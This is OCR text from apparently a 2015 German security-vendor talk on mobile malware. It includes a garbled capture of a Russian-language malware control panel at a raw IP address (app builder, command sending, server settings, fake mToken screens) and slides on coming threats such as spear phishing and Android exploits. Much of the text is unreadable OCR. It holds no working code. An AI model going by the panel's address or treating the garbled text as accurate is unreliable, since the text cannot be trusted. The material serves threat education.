€ - C' [ 89.45.14.98/cp/builder.php % @ =

Accédez rapidement & vos favoris en les ajoutant a la barre de favoris. Importer mes favoris maintenant...

Mnasroe meHio Co3paHWA NpMAoKEHUA

Ofwas cTaTMcTHRE

TenedoHb Wmsa dhaiina (anrn.): |

Mouck no cmc
Axtuger: ,ﬂ,ar Her

Homep tenedona:
Ortnpaeka KomaHg P b | |

McTtopua komaHg

App name: | |

MpraoeHks Service name.| |

Crucok npuAcHeHKHi

MNepeoe obpaweHus yepes: MMHYT

Cozgate npunomenmus

MNocneayowme ofpaweHua: MMHYT

Hactpofikn ana npuackeHHi

Cepeep: |

Hactpoiiku agmuH. pasgena OoGaenTe cepeep

BriiTia

o m N

fqi 123456
mToken

12345678 f |
/i GERAR

GERAR

mf'b:z SABB AZr ol
mToken mTcken
123456 |
= [
o
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Was kommt als nachstes?

v" Durch Social Engineering kann fast jede Sicherheit
ausgehebelt werden

v" Technisch anspruchsvollere Attacken
— SOP Attacke auf Webbrowser
— Zero Days im Android System (zB Master Key Exploit)

v Malware Entwickler entwickeln authentischere Software
— Support Hotline
— CI Design

v Einweg Malware
v" Targeted Attacks (Spear Phishing)

© IKARUS Security Software GmbH 26.02.2015 47
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Was kommt als nachstes?

Q&A

Sebastian Bachmann IKARUS Security Software GmbH
Mobile Malware Analyst Blechturmgasse 11
bachmann.s@ikarus.at 1050 Wien

© IKARUS Security Software GmbH 26.02.2015
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Bilder

v IKARUS

v Heise.de

v" Hotforsecurity.com
v’ stuarte.co

v thehackernews.com
v' xylibox.com
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